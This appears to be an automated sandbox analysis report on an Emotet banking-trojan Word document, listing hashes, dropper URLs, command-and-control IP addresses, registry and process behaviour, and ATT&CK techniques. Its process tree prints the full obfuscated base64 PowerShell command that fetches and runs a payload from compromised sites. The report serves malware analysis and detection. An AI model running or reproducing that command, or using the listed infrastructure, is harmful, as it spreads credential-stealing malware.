emotet | c1c331fac8c36e157638f30d9d0a1755b2832b397114db3be60f3d5d9366fab4

Analysis

max time kernel
140s
max time network
147s
platform
windows10_x64
resource
win10v200722
submitted
02/09/2020, 16:34

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General

Target
emotet_e1_c1c331fac8c36e157638f30d9d0a1755b2832b397114db3be60f3d5d9366fab4_2020-09-02__163345._doc.doc
Size 188KB
Sample200902-bch8lhrbys
SHA256 c1c331fac8c36e157638f30d9d0a1755b2832b397114db3be60f3d5d9366fab4
MD5 0f87121ef7270db3c49a8d5089e3f342
SHA1 f2d0d5b0d36edf17868a39cb5138485ba905881e
SHA512 9e4535af02dd1c84414c4c9b0faf3fae55558b937410e754c771a0f7c9bdc06324dbfb8d31d27dc579a3680ca49c891bca95538bd624fb1a7bbe1b1a3870360a
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://fortcollinsathletefactory.com/wp-admin/i/
exe.dropper
http://getming.com/forum/p/
exe.dropper
http://gaffa-music.com/cgi-bin/UM/
exe.dropper
http://frankfurtelfarolillo.com/laseu/c7/
exe.dropper
http://evilnerd.org/cgi-bin/nUi/
exe.dropper
http://gapesmm.org/old/M/
exe.dropper
http://grml.net/wp/C/

Extracted

Family

emotet

50.121.220.50:80
51.75.33.122:80
54.37.42.48:8080
91.121.54.71:8080
45.16.226.117:443
68.69.155.181:80
213.60.96.117:80
77.55.211.77:8080
152.169.22.67:80
110.142.219.51:80
2.47.112.152:80
206.15.68.237:443
217.13.106.14:8080
191.99.160.58:80
189.131.57.131:80
213.197.182.158:8080
94.176.234.118:443
61.92.159.208:8080
190.128.173.10:80
219.92.8.17:8080
190.115.18.139:8080
190.147.137.153:443
5.196.35.138:7080
190.163.31.26:80
70.32.115.157:8080
114.109.179.60:80
58.171.153.81:80
174.100.27.229:80
104.131.103.37:8080
68.183.190.199:8080
181.30.61.163:443
184.66.18.83:80
87.106.46.107:8080
82.76.111.249:443
192.241.146.84:8080
73.213.208.163:80
104.131.41.185:8080
181.129.96.162:8080
82.196.15.205:8080
186.70.127.199:8090
68.183.170.114:8080
111.67.12.221:8080
172.104.169.32:8080
219.92.13.25:80
45.33.77.42:8080
185.94.252.12:80
46.28.111.142:7080
51.255.165.160:8080
45.173.88.33:80
190.24.243.186:80
45.161.242.102:80
77.238.212.227:80
177.72.13.80:80
65.36.62.20:80
190.2.31.172:80
212.71.237.140:8080
64.201.88.132:80
91.219.169.180:80
212.174.55.22:443
95.9.180.128:80
72.135.200.124:80
178.250.54.208:8080
187.162.248.237:80
178.79.163.131:8080
77.90.136.129:8080
70.32.84.74:8080
98.13.75.196:80
190.6.193.152:8080
192.241.143.52:8080
83.169.21.32:7080
138.97.60.141:7080
137.74.106.111:7080
209.236.123.42:8080
199.203.62.165:80
51.159.23.217:443
50.28.51.143:8080
24.135.1.177:80
177.73.0.98:443
188.2.217.94:80
170.81.48.2:80
186.103.141.250:443
188.135.15.49:80
185.94.252.27:443
72.47.248.48:7080
177.74.228.34:80
216.10.40.16:80
103.106.236.83:8080
217.199.160.224:7080
190.190.148.27:8080
12.162.84.2:8080
85.109.159.61:443
85.105.140.135:443
204.225.249.100:7080
67.247.242.247:80
191.182.6.118:80
189.2.177.210:443
178.148.55.236:8080
72.167.223.217:8080
71.197.211.156:80
190.195.129.227:8090

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3904	3916	powershell.exe	73

Blacklisted process makes network request 1 IoCs

flow	pid	Process
15	3904	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1164	E2937a4y.exe
2168	imapi.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\AppointmentApis\imapi.exe	E2937a4y.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = 6a8a97255781d601	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
584	WINWORD.EXE
584	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3904	powershell.exe
3904	powershell.exe
3904	powershell.exe
2168	imapi.exe
2168	imapi.exe
2168	imapi.exe
2168	imapi.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2576	svchost.exe
Token: SeCreatePagefilePrivilege	2576	svchost.exe
Token: SeDebugPrivilege	3904	powershell.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
584	WINWORD.EXE
1164	E2937a4y.exe
2168	imapi.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3904 wrote to memory of 1164	3904	powershell.exe	80
PID 3904 wrote to memory of 1164	3904	powershell.exe	80
PID 3904 wrote to memory of 1164	3904	powershell.exe	80
PID 1164 wrote to memory of 2168	1164	E2937a4y.exe	81
PID 1164 wrote to memory of 2168	1164	E2937a4y.exe	81
PID 1164 wrote to memory of 2168	1164	E2937a4y.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_c1c331fac8c36e157638f30d9d0a1755b2832b397114db3be60f3d5d9366fab4_2020-09-02__163345._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2576

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABNADYAaABxADkAcAA1AD0AKAAoACcAUQAnACsAJwB0AHgAJwApACsAKAAnAGQAegBzACcAKwAnAGgAJwApACkAOwAuACgAJwBuAGUAdwAnACsAJwAtAGkAdABlACcAKwAnAG0AJwApACAAJABlAE4AVgA6AHUAcwBlAFIAcABSAE8AZgBJAEwAZQBcAHMAcQBQAGcARABmAGkAXABkAFEASwBHAHAAdwBDAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQByAEUAYwB0AG8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBgAGMAVQBSAGkAYABUAFkAUAByAG8AdABgAE8AQwBPAEwAIgAgAD0AIAAoACgAJwB0AGwAJwArACcAcwAxADIALAAnACsAJwAgACcAKQArACcAdAAnACsAKAAnAGwAcwAnACsAJwAxACcAKQArACgAJwAxACwAJwArACcAIAB0AGwAcwAnACkAKQA7ACQAUQBmAGkAZgBvAHYANwAgAD0AIAAoACgAJwBFACcAKwAnADIAOQAzADcAJwApACsAJwBhACcAKwAnADQAeQAnACkAOwAkAEUAZABnAHYAMwA4AGIAPQAoACgAJwBNAHkAdQAnACsAJwBuACcAKQArACcAcQAnACsAJwB3AGwAJwApADsAJABWAGwAeABpAHcANgA5AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHkAJwArACcAQQBwACcAKwAnAFMAJwArACgAJwBxACcAKwAnAHAAZwBkACcAKQArACgAJwBmAGkAeQBBACcAKwAnAHAARAAnACkAKwAnAHEAJwArACgAJwBrACcAKwAnAGcAcAB3AGMAeQBBACcAKQArACcAcAAnACkALQBDAFIARQBwAGwAYQBDAEUAIAAoACcAeQBBACcAKwAnAHAAJwApACwAWwBjAEgAQQBSAF0AOQAyACkAKwAkAFEAZgBpAGYAbwB2ADcAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAFUAdAB1AHQAZQAzAHcAPQAoACgAJwBTAF8AJwArACcAegB5AGsAJwApACsAJwA3AHIAJwApADsAJABCAHkAMQBiADIAdgB4AD0AJgAoACcAbgAnACsAJwBlACcAKwAnAHcALQBvAGIAagBlAGMAdAAnACkAIABuAGUAVAAuAHcARQBiAGMATABpAEUATgB0ADsAJABNAHYANQBrAGkAOAB5AD0AKAAoACcAaAAnACsAJwB0AHQAcAAnACsAJwA6AC8AJwApACsAJwAvACcAKwAoACcAZgBvAHIAdAAnACsAJwBjACcAKQArACgAJwBvAGwAbAAnACsAJwBpAG4AJwApACsAKAAnAHMAYQAnACsAJwB0AGgAbAAnACkAKwAoACcAZQAnACsAJwB0AGUAZgAnACkAKwAnAGEAYwAnACsAJwB0ACcAKwAnAG8AJwArACcAcgB5ACcAKwAnAC4AYwAnACsAJwBvAG0AJwArACgAJwAvAHcAcAAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvAGkALwAnACkAKwAoACcAKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAOgAnACsAJwAvACcAKwAnAC8AJwArACcAZwAnACsAJwBlAHQAJwArACcAbQAnACsAKAAnAGkAJwArACcAbgBnAC4AYwAnACkAKwAnAG8AbQAnACsAJwAvACcAKwAnAGYAbwAnACsAJwByAHUAJwArACcAbQAvACcAKwAoACcAcAAnACsAJwAvACoAaAAnACkAKwAnAHQAJwArACgAJwB0AHAAOgAvAC8AJwArACcAZwAnACkAKwAnAGEAZgAnACsAJwBmACcAKwAoACcAYQAtACcAKwAnAG0AdQAnACkAKwAoACcAcwAnACsAJwBpAGMALgAnACkAKwAoACcAYwBvACcAKwAnAG0ALwBjACcAKQArACgAJwBnAGkALQAnACsAJwBiAGkAJwApACsAJwBuACcAKwAnAC8AJwArACgAJwBVAE0AJwArACcALwAnACkAKwAoACcAKgBoAHQAdAAnACsAJwBwACcAKQArACcAOgAvACcAKwAnAC8AZgAnACsAKAAnAHIAYQBuACcAKwAnAGsAJwArACcAZgB1AHIAJwApACsAJwB0AGUAJwArACgAJwBsAGYAJwArACcAYQAnACkAKwAoACcAcgAnACsAJwBvAGwAJwArACcAaQAnACsAJwBsAGwAbwAnACsAJwAuAGMAbwBtAC8AbABhAHMAJwApACsAKAAnAGUAJwArACcAdQAvAGMANwAnACsAJwAvACcAKQArACcAKgAnACsAKAAnAGgAdAB0ACcAKwAnAHAAJwArACcAOgAvAC8AZQB2AGkAbABuAGUAcgBkACcAKQArACcALgBvACcAKwAnAHIAZwAnACsAKAAnAC8AYwBnAGkALQAnACsAJwBiACcAKQArACgAJwBpAG4AJwArACcALwBuAFUAJwApACsAKAAnAGkAJwArACcALwAqAGgAJwApACsAJwB0ACcAKwAnAHQAJwArACgAJwBwACcAKwAnADoALwAnACkAKwAoACcALwBnAGEAJwArACcAcAAnACkAKwAnAGUAJwArACcAcwBtACcAKwAoACcAbQAuAG8AcgAnACsAJwBnAC8AbwAnACkAKwAoACcAbAAnACsAJwBkAC8AJwArACcATQAvACoAaAB0ACcAKQArACcAdABwACcAKwAnADoALwAnACsAKAAnAC8AJwArACcAZwByACcAKQArACgAJwBtACcAKwAnAGwAJwArACcALgBuAGUAdAAnACkAKwAoACcALwB3ACcAKwAnAHAAJwApACsAKAAnAC8AQwAnACsAJwAvACcAKQApAC4AIgBzAFAATABgAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE8AbgAzAGwAeQBjADcAPQAoACgAJwBQACcAKwAnAGEAaAAnACkAKwAnADYAeQAnACsAJwBoADEAJwApADsAZgBvAHIAZQBhAGMAaAAoACQARABjAGsAeQBpAGwAZwAgAGkAbgAgACQATQB2ADUAawBpADgAeQApAHsAdAByAHkAewAkAEIAeQAxAGIAMgB2AHgALgAiAGQATwBXAGAATgBgAEwAbwBhAGQAZgBJAGwARQAiACgAJABEAGMAawB5AGkAbABnACwAIAAkAFYAbAB4AGkAdwA2ADkAKQA7ACQAUQBmAGQAcwBpAGYAMAA9ACgAKAAnAE0AJwArACcAMAA2ACcAKQArACcAMwBpACcAKwAnAG4ANAAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAVgBsAHgAaQB3ADYAOQApAC4AIgBsAEUATgBgAGcAdABoACIAIAAtAGcAZQAgADMAMgAyADUANAApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAJwArACcAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABWAGwAeABpAHcANgA5ACkAOwAkAE4ANQBkADYAXwAwAHoAPQAoACgAJwBZADgAJwArACcAZQAnACkAKwAnAHYAJwArACgAJwAyAHUAJwArACcAdAAnACkAKQA7AGIAcgBlAGEAawA7ACQATwBiAGYAMwAwADUAbwA9ACgAKAAnAEoANQAxACcAKwAnAGkAJwApACsAJwBkACcAKwAnAG8AaQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFAAeQBmAG4AeABrAHgAPQAoACgAJwBLADYAawBpADUAJwArACcANQAnACkAKwAnADIAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3904
- C:\Users\Admin\Sqpgdfi\Dqkgpwc\E2937a4y.exe
  "C:\Users\Admin\Sqpgdfi\Dqkgpwc\E2937a4y.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1164
- - C:\Windows\SysWOW64\AppointmentApis\imapi.exe
    "C:\Windows\SysWOW64\AppointmentApis\imapi.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2168

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/584-11-0x0000017C8B94C000-0x0000017C8B951000-memory.dmp

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memory/584-6-0x0000017C8B838000-0x0000017C8B849000-memory.dmp

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memory/584-8-0x0000017C8B838000-0x0000017C8B849000-memory.dmp

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memory/584-9-0x0000017C89471000-0x0000017C89482000-memory.dmp

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memory/584-10-0x0000017C8B94A000-0x0000017C8B94C000-memory.dmp

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memory/584-0-0x00007FFEAA2C0000-0x00007FFEAA986000-memory.dmp

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memory/584-1-0x0000017C8B0C0000-0x0000017C8B0C4000-memory.dmp

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memory/584-5-0x0000017C8B838000-0x0000017C8B849000-memory.dmp

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memory/584-7-0x0000017C8B838000-0x0000017C8B849000-memory.dmp

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memory/1164-18-0x00000000001F0000-0x00000000001FC000-memory.dmp

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memory/2168-21-0x00000000006B0000-0x00000000006BC000-memory.dmp

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memory/3904-14-0x00000197EC6D0000-0x00000197EC6D1000-memory.dmp

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memory/3904-13-0x00000197EC5A0000-0x00000197EC5A1000-memory.dmp

Download

memory/3904-12-0x00007FFEA2A30000-0x00007FFEA341C000-memory.dmp

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